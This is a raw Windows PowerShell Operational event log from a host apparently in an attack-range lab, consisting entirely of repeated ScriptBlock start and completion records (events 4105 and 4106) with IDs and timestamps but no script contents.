Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049073
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049072
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049071
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049070
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049069
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049068
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049067
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049066
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049065
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049064
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049063
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049062
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049061
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049060
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049059
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049058
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049057
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049056
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049055
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049054
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049053
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049052
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049051
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049050
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049049
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049048
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049047
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049046
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049045
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049044
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049043
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049042
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049041
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049040
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049039
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049038
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049037
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049036
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049035
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049034
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049033
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049032
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049031
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049030
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049029
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049028
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049027
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049026
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049025
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049024
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049023
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049022
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049021
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
